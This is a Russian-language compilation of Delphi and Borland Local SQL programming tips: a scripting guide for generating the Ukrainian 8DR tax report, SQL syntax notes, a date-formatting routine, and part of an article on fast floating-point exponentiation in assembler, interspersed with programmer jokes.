Начиная с версии 1.01 в программу включаются стандартные бухгалтерские отчеты. Для формирования отчета используются специальные команды, наименование которых начинается с “Z_”. Например команда Z_Forma8dr – формирует форму 8ДР. После имени команды, в качестве параметров следуют свойства отчета с соблюдением синтаксиса: Имя_свойства=Значение_свойства, В качестве значения свойства можно указать имя глобальной переменной. Для этого, перед именем переменной следует указывать ключевое слово “Global:”
Z_Forma8dr
Данная команда формирует отчет по форме 8ДР. Перед вызовом команды необходимо сформировать запрос, результат которого будет иметь следующие поля:
tin - Идентификационный номер d_priyn - Дата приема на работу d_zviln - Дата увольнения сотрудника S_dox - Сумма выплаченного дохода S_nar - Сумма начисленного дохода S_taxN - Сумма удержанного подоходного налога S_taxP - Сумма перечисленного подоходного налога ozn_dox - Признак дохода OZN_PILG - Признак льготы // Имена полей соответствуют приказу ГНАУ № 473 от 30.12.1997 г // в редакции от 08.04.2003 г.
После выполнения запроса следует вызов команды, которая имеет следующие параметры:
okpo -ОКПО организации TinPrivate -Идф.номер частного предпринимателя TinDirector -Идф.номер директора TinGlBux - Идф.номер гл.бухгалтера FioDirector -ФИО директора FioGlBux -ФИО гл.бухгалтера FioPrivate - ФИО частного предпринимателя tlfDirector - Телефон директора tlfGlBux - Телефон гл.бухгалтера TlfPrivate - Телефон частного предпринимателя NameOrg - Наименование организации OKPONalogovoy - ОКПО налоговой инспекции NameNalogovoy -Наименование налоговой Kvartal -Отчетный квартал Year -Год WorkShtat -Работало в штате WorkSovm -Работало по совместительствц Для записи на дискету: fileName_KOdOblasti -код области fileName_kodNalogovoy-код налоговой инспекции
В приведенном примере показано как сформировать форму 8ДР на основании стандартной базы данных зарплаты. Следует не забывать, что в отчет необходимо включать информацию о выплатах частным предпринимателям.
@@Razdel Исходные данные
@@Param God:i=2002
@@Param Kvrt:i=2
@@Razdel Определения переменных
ps DefineGlobal('kvrt','integer')
ps DefineGlobal('god','integer')
ps DefineGlobal('TaxPerechKvartal' ,'double')
ps DefineGlobal('mes1','integer')
ps DefineGlobal('mes2','integer')
ps DefineGlobal('Data1','integer')
ps DefineGlobal('Data2','integer')
ps god:=val_i(param('god'))
ps kvrt:=val_i(param('kvrt'))
ps mes1:=(kvrt-1)*3+1
ps mes2:=mes1+2
ps setParam('mes1',IntToStr(mes1),'i')
ps setParam('mes2',IntToStr(mes2),'i')
ps Data1:=FirstDayMonth(god,mes1)
ps Data2:=LastDayMonth(god,mes2)
ps setParam('data1',jDateToStr(data1),'d')
ps setParam('data2',jDateToStr(data2),'d')
select tn,
sum(suma) as s_Dox,
0 as s_Tax
from zaSal sl
left join zsVidOpl vo
on sl.knu=vo.knu
where god=:god and mes between :mes1 and :mes2 and vo.Ozn_dox is null
group by tn
@@SaveDsToFile c:\q1
select tn,
sum(suma) as s_Tax
from zaUd
where knu=598 and god=:god and mes between :mes1 and :mes2
group by tn
@@AppendDsToFile c:\q1
select tn,
max(tin) as tin,
max(d_priyn) as d_priyn,
max(d_zviln) as d_zviln,
max(cast(isSovm as integer)) as isSovm,
sum(s_dox) as s_dox,
sum(s_tax) as s_tax
from "c:\q1" q1
left join zsEmpl se
on se.tn=q1.tn
group by tn
@@InsertField ozn_dox:i=round(ifF(isSovm<>1,1,2))
@@SaveDslToFile c:\q2
update "c:\q2"
set d_priyn=null
where d_priyn not between :data1 and :data2
@@Razdelitel
update "c:\q2"
set d_Zviln=null
where d_Zviln not between :data1 and :data2
@@Razdelitel
select tn,
sum(suma) as s_Dox,
max(Ozn_dox) as Ozn_dox,
max(tin) as tin
from zaSal sl
left join zsVidOpl vo
on sl.knu=vo.knu
left join zsEmpl se
on se.tn=sl.tn
where god=:god and mes between :mes1 and :mes2 and not vo.Ozn_dox is null
group by tn
@@AppendDsToFile c:\q2
select Tin,
S_dox,Ozn_dox,D_priyn,D_zviln,
s_dox as S_nar,
S_tax as S_taxN,
S_tax as S_taxP
from "c:\q2"
where not tin is null
@@Z_Forma8dr(
okpo =12345678
// TinPrivate =9876543210
TinDirector =1346867498
TinGlBux =4574946877
FioDirector =Петров П.Н.
FioGlBux =Иванов И.И.
// FioPrivate =Предприниматель
tlfDirector =12-34-56
tlfGlBux =78-91-23
// TlfPrivate =99-88-77
NameOrg =Звездный путь
OKPONalogovoy =99994321
NameNalogovoy =ДПI в звездном районе
Kvartal =global:kvrt
Year =Global:god
WorkShtat =123
WorkSovm =4
fileName_KOdOblasti =04
fileName_kodNalogovoy=04
)
@@CheesShow
//@@CheesPrint //Убрать комментарий для вывода документа на печать
Свойства шахматки
Нижеследующие свойства используются после команды MakeChees, для определения параметров отчета.
orientation Определяет ориентацию бумаги PoPortrait-книжная PoLandscape-альбомная FieldLeft, fieldTop, fieldRight, fieldBottom Определяют поля листа в сантиметрах: левое, верхнее, правое, нижнее соответственно. titleLinesEnabled Определяет наличие рамки вокруг заголовка (False,True). DefaultColWidth, defaultRowHeight Определяет ширину колонки и высоту строки по умолчанию (в сантиметрах). DefaultFontName, defaultFontSize, defaultFontStyle Наименование, размер и стиль шрифта по умолчанию. Стиль определяется одним или несколькими элементами множества: [fsBold, fsItalic, fsUnderLine] defaultTitleFontName, defaultTitleFontSize, defaultTitleFontStyle Наименование, размер и стиль шрифта для вывода заголовков столбцов. DefaultHeaderTextFontSize, defaultHeaderTextFontStyle, defaultHeaderTextFontName Наименование, размер и стиль шрифта для вывода заголовка отчета. DefaultZeroColFontName, defaultZeroColFontSize, defaultZeroColFontStyle Наименование, размер и стиль шрифта для вывода первого столбца шахматки (с комментариями строки). DefaultZeroColFirstIndent, defaultZeroColLeftIndent, defaultZeroColRightIndent Отступ первой колонки для крайнего правого и последующих листов слева, отступ справа. DefaultLineColLeft, DefaultLineColRight, DefaultLineRowTop, defaultLineRowBottom Свойства определяют наличие линии по границе каждых строки или столбца (слева, справа, сверху, снизу). Допустимые значения False, True. DefaultAlignment Выравнивание информации в ячейках. Допустимые значения taLeftJustify, taRightJustify, taCenter (по левому краю, по правому краю, по центру). DefaultNumericFormat Числовой формат по умолчанию. (например 0.00-определяет 2 знака после запятой, 0.##-после запятой выводятся только значащие цифры, но не более 2-х) . zeroColEnabled Наличие первого столбца с комментариями к строкам. Допустимые значения False, True. ZeroColWidthFirst, zeroColWidthNext Ширина первого столбца с комментариями к строкам для крайних левых листов и последующих листов. AutoSumRows, AutoSumColumns Автоматическое добавление итогов по строкам и по столбцам. Допустимые значения False, True.
Получить программу для ознакомления Вы можете на сайте http://amigonet.narod.ru. Вместе с программой Вы получите учебную базу данных и примеры скриптов, подробный разбор которых приведен в статье.
SQL outer join.
Select * From "TEST.DB" Test Left Outer Join "Emp.DB" Emp On Test.Emp_ID = Emp.Emp_ID |
Вместо Left вы можете также задать Right или Full.
Зарезервированные слова Local SQL.
Ниже приведен список в алфавитном порядке слов, зарезервированных Local SQL в Borland Database Engine. Имейте в виду, что данный совет публикуется "как есть". ACTIVE, ADD, ALL, AFTER, ALTER, AND, ANY, AS, ASC, ASCENDING, AT, AUTO, AUTOINC, AVG BASE_NAME, BEFORE, BEGIN, BETWEEN, BLOB, BOOLEAN, BOTH, BY, BYTES CACHE, CAST, CHAR, CHARACTER, CHECK, CHECK_POINT_LENGTH, COLLATE, COLUMN, COMMIT, COMMITTED, COMPUTED, CONDITIONAL, CONSTRAINT, CONTAINING, COUNT, CREATE, CSTRING, CURRENT, CURSOR DATABASE, DATE, DAY, DEBUG, DEC, DECIMAL, DECLARE, DEFAULT, DELETE, DESC, DESCENDING, DISTINCT, DO, DOMAIN, DOUBLE, DROP ELSE, END, ENTRY_POINT, ESCAPE, EXCEPTION, EXECUTE, EXISTS, EXIT, EXTERNAL, EXTRACT FILE, FILTER, FLOAT, FOR, FOREIGN, FROM, FULL, FUNCTION GDSCODE, GENERATOR, GEN_ID, GRANT, GROUP, GROUP_COMMIT_WAIT_TIME HAVING, HOUR IF, IN, INT, INACTIVE, INDEX, INNER, INPUT_TYPE, INSERT, INTEGER, INTO, IS, ISOLATION JOIN KEY LONG, LENGTH, LOGFILE, LOWER, LEADING, LEFT, LEVEL, LIKE, LOG_BUFFER_SIZE MANUAL, MAX, MAXIMUM_SEGMENT, MERGE, MESSAGE, MIN, MINUTE, MODULE_NAME, MONEY, MONTH NAMES, NATIONAL, NATURAL, NCHAR, NO, NOT, NULL, NUM_LOG_BUFFERS, NUMERIC OF, ON, ONLY, OPTION, OR, ORDER, OUTER, OUTPUT_TYPE, OVERFLOW PAGE_SIZE, PAGE, PAGES, PARAMETER, PASSWORD, PLAN, POSITION, POST_EVENT, PRECISION, PROCEDURE, PROTECTED, PRIMARY, PRIVILEGES RAW_PARTITIONS, RDB$DB_KEY, READ, REAL, RECORD_VERSION, REFERENCES, RESERV, RESERVING, RETAIN, RETURNING_VALUES, RETURNS, REVOKE, RIGHT, ROLLBACK SECOND, SEGMENT, SELECT, SET, SHARED, SHADOW, SCHEMA, SINGULAR, SIZE, SMALLINT, SNAPSHOT, SOME, SORT, SQLCODE, STABILITY, STARTING, STARTS, STATISTICS, SUB_TYPE, SUBSTRING, SUM, SUSPEND TABLE, THEN, TIME, TIMESTAMP, TIMEZONE_HOUR, TIMEZONE_MINUTE, TO, TRAILING, TRANSACTION, TRIGGER, TRIM UNCOMMITTED, UNION, UNIQUE, UPDATE, UPPER, USER VALUE, VALUES, VARCHAR, VARIABLE, VARYING, VIEW WAIT, WHEN, WHERE, WHILE, WITH, WORK, WRITE YEAR Операторы:||, -, *, /, <>, <, >, ,(запятая), =, <=, >=, ~=, !=, ^=, (, ).
SQL - сортировка вычисляемого поля.
| У молодого хакера спрашивают: - Максим, ну что тебе нравится, кроме женщин и компьютеров? - Как что? Девушки и калькуляторы. |
SELECT I."PARTNO", I."QTY", (I."QTY" * 100) AS TOTAL FROM "ITEMS.DB" I ORDER BY TOTALВ данном примере вычисляемому полю было присвоено имя TOTAL (временно, только для ссылки), после чего оно стало доступным в SQL-запросе для выражения ORDER BY. Вышеуказанный метод не поддерживается в InterBase. Тем не менее, сортировать вычисляемые поля в таблицах InterBase (IB) или сервере Local InterBase Server все же возможно. Вместо использования имени вычисляемого поля, в выражении ORDER BY используется порядковое число, представляющее собой позицию вычисляемого поля в списке полей таблицы. Например, используя демонстрационную таблицу EMPLOYEE (расположенную в базе данных EMPLOYEE.GDB):
SELECT EMP_NO, SALARY, (SALARY / 12) AS MONTHLY FROM EMPLOYEE ORDER BY 3 DESCENDINGВ то время, как таблицы IB и LIBS используют второй метод, и не могут воспользоваться первым, оба метода доступны при работе с локальным SQL. К примеру, используя SQL-запрос для таблицы Paradox, и приспосабливая его для работы с относительной позицией вычисляемого поля, а не его именем:
SELECT I."PARTNO", I."QTY", (I."QTY" * 100) AS TOTAL FROM "ITEMS.DB" I ORDER BY 3
SQL - вложенные пробелы.
| Письмо в компьютерный сервисный центр: - Этанутипауменяпробелполомалсячеделатьто? Ответ: - Настоящие_программисты_не_пользуются_пробелами. |
SELECT Species No, Category, Common_Name, Species Name, Length (cm), Length_In, Notes, Graphic FROM BIOLIFEВ нормальной ситуации пробелы в номерах и именах колонок, длина в сантиметрах, круглые скобки и другие символы могут стать причиной синтаксической ошибки. Для коррекции синтаксиса в вышеприведенном SQL-выражении необходимо внести два изменения. Во-первых, любые колонки, содержищие пробелы или специальные символы должны быть заключены в двойные или одинарные (апострофы) кавычки. Во-вторых, ссылке на имя колонки должна предшествовать ссылка на саму таблицу и точка после нее. Второе требование особенно важно, поскольку заключенная в кавычки строка интерпретируется не как строковое выражение, а как значение колонки. Ниже приведено правильно отформатированное выражение:
SELECT BIOLIFE."Species No", BIOLIFE."Category", BIOLIFE."Common_Name", BIOLIFE."Species Name", BIOLIFE."Length (cm)", BIOLIFE."Length_In", BIOLIFE."Notes", BIOLIFE."Graphic" FROM "BIOLIFE.DB" BIOLIFEВ приведенном выше примере таблицный псевдоним BIOLIFE используется в качестве ссылки на саму таблицу и располагается перед именем колонки . Данная ссылка может принимать форму имени псевдонима, реального имени таблицы, или ссылаться на имя файла при использовании таблиц dBASE или Paradox. Следующее SQL-выражение должно также хорошо работать. Примечание: Данное SQL-выражение может использоваться при условии, что необходимый псевдоним уже открыт. В случае TQuery это означает, что псевдоним определен в свойстве DatabaseName.
SELECT BIOLIFE."Species No", BIOLIFE.Category, BIOLIFE.Common_Name, BIOLIFE."Species Name", BIOLIFE."Length (cm)", BIOLIFE.Length_In, BIOLIFE.Notes, BIOLIFE.Graphic FROM BIOLIFEЕсли псевдоним недоступен, то для таблицы должен быть определен путь целиком, например, так:
SELECT "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Species No", "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Category", "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Common_Name", "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Species Name", "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Length (cm)", "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Length_In", "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Notes", "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"."Graphic" FROM "C:\DELPHI\DEMOS\DATA\BIOLIFE.DB"
Наконец, есть два средства автоматического форматирования специального синтаксиса. Первым является Visual Query Builder, включаемой в версию Client/Server Delphi. Visual Query Builder выполняет такое форматирование автоматически, по мере создания запроса. Другое средство - Database Desktop Show SQL, доступный при создании и редактировании запроса QBE-типа. После выбора пункта меню Query|Show SQL, отображаемый SQL-текст может быть вырезан и вставлен где необходимо.
Адаптация значения даты или времени к различным форматам SQL-сервера.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Wenn man mit verschiedensprachigen (MS-)SQL-Servern arbeitet,
hat man ab und an das Problem, Datumswerte in ein fur den
jeweiligen Server verstandliches Format umzuwandeln.
}
{
If you work with different (MS-)SQL-Server, you have sometimes the
problem what the date value is in the correct format.
}
function TForm1.GetSQLDateTimeFormat(UDL: string): string;
begin
Screen.Cursor := crSQLWait;
if ADOConnection1.Connected then ADOConnection1.Close;
ADOConnection1.ConnectionString := 'FILE NAME=' + UDL;
ADOQuery1.SQL.Clear;
ADOQuery1.SQL.Add('sp_helplanguage @@LANGUAGE');
Application.ProcessMessages;
try
try
ADOQuery1.Open;
except
on E: Exception do MessageBox(Handle,
PChar('Die Abfrage konnte nicht geoffnet werden:' + #13#10+#13#10+E.Message),
PChar('Fehler!'), 16);
end;
if (ADOQuery1.Active) and (ADOQuery1.RecordCount > 0) then
Result := ADOQuery1.FieldByName('dateformat').AsString;
finally
Screen.Cursor := crDefault;
end;
end;
function DateTimeToSQLDateTimeString(Data: TDateTime; Format: string;
OnlyDate: Boolean = True): string;
var
y, m, d, h, mm, s, ms: Word;
begin
DecodeDate(Data, y, m, d);
DecodeTime(Data, h, mm, s, ms);
if Format = 'dmy' then
Result := IntToStr(d) + '-' + IntToStr(m) + '-' + IntToStr(y)
else if Format = 'ymd' then
Result := IntToStr(y) + '-' + IntToStr(m) + '-' + IntToStr(d)
else if Format = 'ydm' then
Result := IntToStr(y) + '-' + IntToStr(d) + '-' + IntToStr(m)
else if Format = 'myd' then
Result := IntToStr(m) + '-' + IntToStr(y) + '-' + IntToStr(d)
else if Format = 'dym' then
Result := IntToStr(d) + '-' + IntToStr(y) + '-' + IntToStr(m)
else
Result := IntToStr(m) + '-' + IntToStr(d) + '-' + IntToStr(y); //mdy: ; //US
if not OnlyDate then
Result := Result + ' ' + IntToStr(h) + ':' + IntToStr(mm) + ':' + IntToStr(s);
end;
//Example:
//Beispiel:
procedure ConvertSQLDateTime;
begin
ShowMessage(DateTimeToSQLDateTimeString(now, GetSQLLanguage('C:\DBEngl.udl')));
end;
Синтах SQL-функции Substring.
SUBSTRING('Delphi World - это супер!!!' from 1 to 6)
|
SQL - использование функции SUBSTRING.
SQL-функция SUBSTRING может использоваться в приложениях Delphi, работающих с запросами к локальной SQL, но она не поддерживается при работе с таблицами InterBase (IB) и Local InterBase Server (LIBS). Ниже приведен синтаксис функции SUBSTRING, примеры ее использования в запросах к local SQL, и альтернатива для возвращения тех же результатов для таблиц IB/LIBS. Синтаксис функции SUBSTRING:SUBSTRING(<column> FROM <start> [, FOR <length>])Где: <column> - имя колонки таблицы, из которой должна быть получена подстрока (substring). <start> место в значении колонки, начиная с которого извлекается подстрока. <length> длина извлекаемой подстроки. Функция SUBSTRING в примере ниже возвратит второй, третий и четвертый символы из колонки с именем COMPANY:
SUBSTRING(COMPANY FROM 2 FOR 3)Функция SUBSTRING может быть использована и для списка полей в SELECT-запросе, где ключевое слово WHERE допускает сравнение значения с определенным набором колонок. Функция SUBSTRING может использоваться только с колонками типа String (на языке SQL тип CHAR). Вот пример функции SUBSTRING, использующей список колонок в SELECT-запросе (используем демонстрационную таблицу Paradox CUSTOMER.DB):
SELECT (SUBSTRING(C."COMPANY" FROM 1 FOR 3)) AS SS FROM "CUSTOMER.DB" CДанный SQL-запрос извлекает первые три символа из колонки COMPANY, возвращаемой как вычисляемая колонка с именем SS. Вот пример функции SUBSTRING, использованной в SQL-запросе с ключевым словом WHERE (используем ту же самую таблицу):
SELECT C."COMPANY" FROM "CUSTOMER.DB" C WHERE SUBSTRING(C."COMPANY" FROM 2 FOR 2) = "an"Данный запрос возвратит все строки таблицы, где второй и третий символы в колонке COMPANY равны "ar". Так как функция SUBSTRING не поддерживается в базах данных IB и LIBS, операции с подстроками со списком колонок в запросе невозможны (исключение: IB может работать с подстроками через функции, определяемые пользователем, User-Defined Functions). Но с помощью оператора LIKE и сопутствующих символьных маркеров подстановки возможно работать с подстрокой и в случае WHERE. Вот пример на основе таблицы EMPLOYEE (в базе данных EMPLOYEE.GDB):
SELECT LAST_NAME, FIRST_NAME FROM EMPLOYEE WHERE LAST_NAME LIKE "_an%"
Данный SQL-запрос возвратит все строки таблицы, где второй и третий символы в колонке LAST_NAME равны "an", см. предыдущий пример на основе таблицы Paradox. Базам данных IB и LIBS для выполнения сравнения подстроки в операторе запроса WHERE данный метод необходим (и невозможно воспользоваться функцией SUBSTRING), таблицы же Paradox и dBASE (например, local SQL) могут воспользоваться любым методом.
SQL - суммирование вычисляемого поля.
| Антивирус. Ты кто? Вирус. Область данных! Антивирус. А не вирус? Вирус. Ни боже мой! Антивирус. А зачем прерывания перехватываешь? Вирус. Я?! Антивирус. Вот же подпрограмма. Вирус. Это не подпрограмма. Это цитата из Лао-цзы на языке оригинала в альтернативной кодировке. Антивирус. А зачем EXE-файлы ищешь? Вирус. А вдруг хозяин спросит: "А где мои ЕХЕ-файлы?" А я ему - вот они! Антивирус. Сдается мне, что ты все-таки вирус. Вирус. Ну ладно, только тебе признаюсь, только ты никому не говори! На самом деле я... антивирусная вакцина! Антивирус. А зачем нужна антивирусная вакцина, если есть я? Вирус. Откуда я знаю? У хозяина спроси. Антивирус. А если я тебя на всякий случай все-таки грохну? Вирус. А если я тебя? Антивирус. Не получится. У меня управление. Вирус. А ты свою контрольную сумму давно пересчитывал? Антивирус. А причем тут моя контрольная... ой!!! Вирус. То-то же. |
SELECT SUM(SALARY / 12) FROM EMPLOYEEТа же самая методика применима в случае возвращаемого набора данных, в котором значения группируются в другом столбце с помощью утверждения GROUP BY:
SELECT EMP_NO, SUM(SALARY / 12) FROM EMPLOYEE GROUP BY EMP_NO ORDER BY EMP_NO
Пока SQL базы данных поддерживают суммирование вычисляемых полей, локальный SQL этого делать не будет. Для получения результатов нужны другие методы, например копирование результатов запроса с вычисляемым полем во временную таблицу (как и в случае компонента TBatchMove), и использование компонента TQuery для вычисления суммы данных во временной таблице.
Имя SQL-таблицы.
Этот SQL не работает для RequestLive := True : SELECT * FROM DBO.TABLE1 Этот SQL работает для RequestLive := True : SELECT * FROM "DBO.TABLE1"Помните о том, что кавычки необходимы для обозначения имени таблицы! Также имейте в виду, что поставляемая документация говорит о том, что для таблиц Oracle кавычки не нужны! Неверно, нужны!!!
Возведение числа в действительную степень.
Оформил: DeeCo
Автор: Максим М. Гумеров.
Содержание Как, никто этого еще не придумал? Есть предложение Чего мы достигли? Аппроксимация функции 2x Новый вариант функции возведения в степень Аппроксимация функции log2x и “специализация” возведения в степень Заключение Кладезь мудрости Как, никто этого еще не придумал?Не берусь судить. Вероятно, задача о том, как максимально быстро возвести действительное положительное число в произвольную действительную степень, решалась примерно столь же часто, как и вставала, - а вставала, полагаю, не раз. И все же не так давно я с ужасом обнаружил, что RTL из состава Borland Delphi последних версий (как Delphi 6, так и Delphi 7) подходит к решению не более профессионально, чем прилежный пятиклассник, впервые столкнувшийся с такой проблемой.
Взглянем на исходный код функции Power из модуля Math, любезно предоставленный Borland Software:
function Power(const Base, Exponent: Extended): Extended;
begin
if Exponent = 0.0 then
Result := 1.0 { n**0 = 1 }
else if (Base = 0.0) and (Exponent > 0.0) then
Result := 0.0 { 0**n = 0, n > 0 }
else if (Frac(Exponent) = 0.0) and (Abs(Exponent) <= MaxInt) then
Result := IntPower(Base, Integer(Trunc(Exponent)))
else
Result := Exp(Exponent * Ln(Base))
end;
Примечательно, что в благих целях оптимизации процессор оставляют наедине с целой толпой ветвлений, приводящих его, в конце концов, в общем случае к пресловутому решению пятиклассника, а именно, к тривиальной формуле.
(1) x**y = exp(ln(x**y)) = exp(y*ln(x)).
Здесь x**y означает возведение x в степень y, a exp(x) = e**x.
Что плохого в таком подходе к решению? Во-первых, в набор инструкций FPU не входит ни операция вычисления exp(x), ни взятия натурального логарифма ln(x). Соответственно, результат вычисляется в несколько этапов, в то время как можно пойти более прямым путем, как будет показано ниже. За счет этого падает скорость вычисления; кроме того, здесь действует интуитивное правило, которое грубо можно сформулировать так: чем больше операций выполняется над числом с плавающей запятой в регистрах сопроцессора, тем больше будет и суммарная погрешность результата.
ПРИМЕЧАНИЕПозднейшая проверка показала, что как Visual C из Visual Studio .NET, так и C++ Builder 4.5 реализуют возведение в степень более качественно. Используемый в них вариант концептуально не отличается от того решения, которое я хочу предложить.
Есть предложениеДавайте проведем инвентаризацию. Какие инструкции сопроцессора связаны с возведением в степень или взятием логарифма? Приведу краткую выдержку из [1] и [2]:
F2XM1 – вычисляет 2**x-1, где -1<x<1. FSCALE (масштабирование степенью двойки) - фактически считает 2**trunc(x), где trunc(x) означает округление к 0, т.е. положительные числа округляются в меньшую сторону, отрицательные – в большую. FXTRACT – извлекает мантиссу и экспоненту действительного числа. FYL2X – вычисляет y*log2(x), где log2(x) – логарифм x по основанию 2. FYL2XP1 – вычисляет y*log2(x+1) для -(1-1/sqrt(2))<x<1-1/sqrt(2) c большей точностью, нежели FYL2X. Здесь sqrt(x) означает вычисление квадратного корня.Вот, в общем-то, и все. Но уже на первый взгляд этого хватает, чтобы понять, что задача может быть решена более прямо, чем предлагает RTL Borland Delphi.
Действительно, почему не заменить показатель степени в (1) на 2? Ведь неперово число отнюдь не является родным для двоичной арифметики! Тогда получится.
(2) x**y = 2**log2(x**y) = 2**(y*log2(x)).
Это выражение для x**y в соответствии с вышеозначенными пятью инструкциями можно представить как композицию функций в таком виде:
(3) f(z)=2**z,
(4) g(x,y)=y*log2(x),
(5) xy =f(g(x,y)).
Так как вычислить f(z) в одно действие невозможно, приходится считать так:
(6) f(z)=2**z=2**(trunc(z)+(z-trunc(z)))=(2**trunc(z)) * (2**(z-trunc(z))).
Формулы (4)-(6) естественно выражаются таким ассемблерным кодом:
; Во - первых, вычисляем z = y * log2(x): fld y; Загружаем основание и показатель степени fld x fyl2x; Стек FPU теперь содержит: ST(0) = z ; Теперь считаем 2 * * z: fld st(0); Создаем еще одну копию z frndint; Округляем fsubr st(0), st(1); ST(1) = z, ST(0) = z - trunc(z) f2xm1; ST(1) = z, ST(0) = 2 * * (z - trunc(z)) - 1 fld1 faddp; ST(1) = z, ST(0) = 2 * * (z - trunc(z)) fscale; ST(1) = z, ST(0) = (2 * * trunc(z)) * (2 * * (z - trunc(z))) = 2 * * t fxch st(1) fstp st; Результат остается на вершине стека ST(0)ПРЕДУПРЕЖДЕНИЕ
Перед выполнением этого фрагмента кода нужно убедиться, что биты управления округлением в слове управления FPU установлены в режим округления к нулю. В Delphi это проще всего сделать при помощи функции SetRoundMode (модуль Math):
SetRoundMode(rmTruncate);
ПРИМЕЧАНИЕТак как на процессорах Intel Pentium IV последовательное многократное переключение между двумя (но не более) состояниями слова управления FPU выполняется гораздо быстрее, чем на ранних моделях, можно рассчитывать, что даже в тех ситуациях, когда придется перемежать вызов этого фрагмента кода с действиями, требующими иного режима округления, при работе на современной технике это не приведет к чрезмерным дополнительным временным затратам. Подробности см., например, в [3].
Полный код работоспособной функции на Object Pascal выглядит так:
function _Power(const x, y: FLOATTYPE): FLOATTYPE; //x>0! asm fld y fld x fyl2x fld st(0) frndint fsubr st(0),st(1) f2xm1 fld1 faddp fscale fxch st(1) fstp st end;СОВЕТ
Имеет смысл создать перегруженные версии функции для различных типов аргументов FLOATTYPE, так как на практике часто главным недостатком встроенной функции является то, что она (как и все вызываемые ею функции) принимает в качестве аргументов действительные числа типа Extended, что приводит к весьма существенным затратам на конвертирование форматов при загрузке в стек FPU.
Чего мы достигли?Эксперименты показали, что предложенный вариант функции возведения в степень повышает точность вычислений на один-два знака после запятой. Так как автору было несколько лень писать медленный код для сверхточного возведения в степень с целью проверки точности предложенного алгоритма, то эксперимент заключался в сравнении результатов со значением, получающемся в стандартном калькуляторе Windows. Если верить его справочной службе, вычисления в нем производятся с точностью до 32 десятичных знаков после запятой, что позволяет полагаться на него как на источник эталонных значений.
К сожалению, выигрыш в скорости абсолютно не ощущается. Это вполне объяснимо: согласно приложению C (“IA-32 Instruction Latency and Throughput”) документа [3], из всего этого фрагмента основная вычислительная нагрузка ложится на трансцендентные (ответственность за не вполне корректное применение термина ложится не на меня, а на господ из Intel) операции, а именно – FYL2X, FRNDINT, F2XM1 и FSCALE. Количество же этих операций в предложенном алгоритме и их общее число в реализации функций ln(x) и exp(x) в RTL Delphi одинаково.
Конечно, хотелось бы увеличить и скорость вычислений. Но мир не идеален, и за это придется расплачиваться все той же точностью. Как правило, в каждой ситуации существует предел допустимых погрешностей при расчетах. В иллюстративных целях я задался максимальной допустимой относительной погрешностью 0,0001=0,1%. В действительности, как будет видно из графиков относительной погрешности, удалось достичь еще большей точности.
Дальнейшие наши действия должны состоять в том, чтобы исключить трансцендентные математические операции. Ясно, что всякое представление в виде конечной композиции элементарных арифметических операций некоторой функции, неразложимой в такую композицию, является приближением исходной функции. То есть задача ставится так: нужно приблизить используемые трансцендентные функции композициями элементарных операций, оставаясь при этом в допустимых для погрешности пределах.
Аппроксимация функции 2xЭта мера позволит нам избавиться сразу и от длительной F2XM1, и от выполняющейся ненамного быстрее FSCALE.
Существует бесконечное множество способов приблизить функцию f(x). Один из наиболее простых в вычислительном плане – подбор подходящего по точности многочлена g(x)=anxn+an-1xn-1+...+a1x+a0. Его коэффициенты могут быть постоянны, а могут некоторым образом зависеть от x. В первом случае коэффициенты легко найти методом наименьших квадратов, взяв значения исходной функции в нескольких точках и подобрав коэффициенты так, чтобы в этих точках многочлен принимал значения, как можно более близкие к значениям функции (подробное описание полиномиальной аппроксимации функций и метода наименьших квадратов можно найти в книгах, посвященных курсам вычислительной математики или обработке экспериментальных данных). Простота метода оборачивается существенным недостатком: он подчас неплох для выявления качественных тенденций, но плохо отражает исходную функцию количественно, причем, как правило, погрешность растет с уменьшением степени многочлена n, а скорость вычисления g(x) с ростом n падает.
Достойная альтернатива, позволяющая достаточно точно приближать гладкие кривые, такие, как y=2**x, - аппроксимация сплайнами. Говоря простым языком (возможно, чересчур простым – пусть меня извинят специалисты), сплайн – это кривая, моделирующая форму, принимаемую упругим стержнем, деформированным путем закрепления в заданных точках. Она проходит точно через заданные точки, подчиняясь при этом некоторым дополнительным условиям, в частности, условию непрерывности второй производной. Существуют различные виды сплайнов. В этой работе достаточно практично использование кубических сплайнов. Кубический сплайн на каждом отрезке между двумя последовательными (в порядке возрастания координаты x) эталонными точками (x,f(x)) описывается полиномом третьей степени g(x)=a3x3+a2x2+a1x+a0, где набор коэффициентов (a0,a1,a2,a3) свой для каждого отрезка. Поиск этих коэффициентов – не слишком сложная задача, но описание метода ее решения выходит за рамки этой статьи. Таблица коэффициентов, получающаяся после учета всех замечаний этого раздела, прилагается к статье.
Итак, я ограничусь лишь использованием полученных мною значений коэффициентов. Чтобы обеспечить необходимую точность на промежутке 0<=x<999, мне понадобились в качестве эталонных 2039 точек, которым соответствовали значения x=(i-40)/2, i=0..2038. Сорок значений на отрицательной полуоси нужны были только для того, чтобы отразить поведение сплайна в этой части плоскости, слегка скорректировав таким образом его вид на остальных отрезках; в вычислениях эти 40 отрезков не участвуют, т.к. для значений x<0 можно воспользоваться (без ощутимого проигрыша в скорости или точности) соотношением 2**(-|x|)=1/(2**|x|).
Итак, у нас есть таблица коэффициентов, представленная в виде массива из 1999 блоков по 8*4 байт (если для представления коэффициентов используется тип double). На Object Pascal такой массив описывается типом.
array[0..1998] of packed record c3, c2, c1, c0: double end;
На практике возникает тонкий момент. Дело в том, что Delphi почему-то отказывается выравнивать массивы Double’ов по границе 8 байт. Лично у меня получается так, что адрес первого элемента всегда бывает кратен 4, но никогда – 8. Поэтому перед началом массива я вставляю заполнитель, чтобы избежать медленного чтения некоторых double’ов, которые частично лежат в одной 64- или 32-байтной линейке кэша, а частично – в следующей:
//Предполагаю, что выставлена опция компилятора {$Align 8}
type
TArr = packed record
Padding: integer;
//Фиктивный 4-байтовый заполнитель - чтобы массив выравнялся по 8 байтам
C: array[0..1998] of packed record c3, c2, c1, c0: double
end; //Собственно коэффициенты
end;
На вход функции Exp2 поступает единственный аргумент x - возводимое в степень число. Как можно реализовать функцию?
Вот как это сделал я.
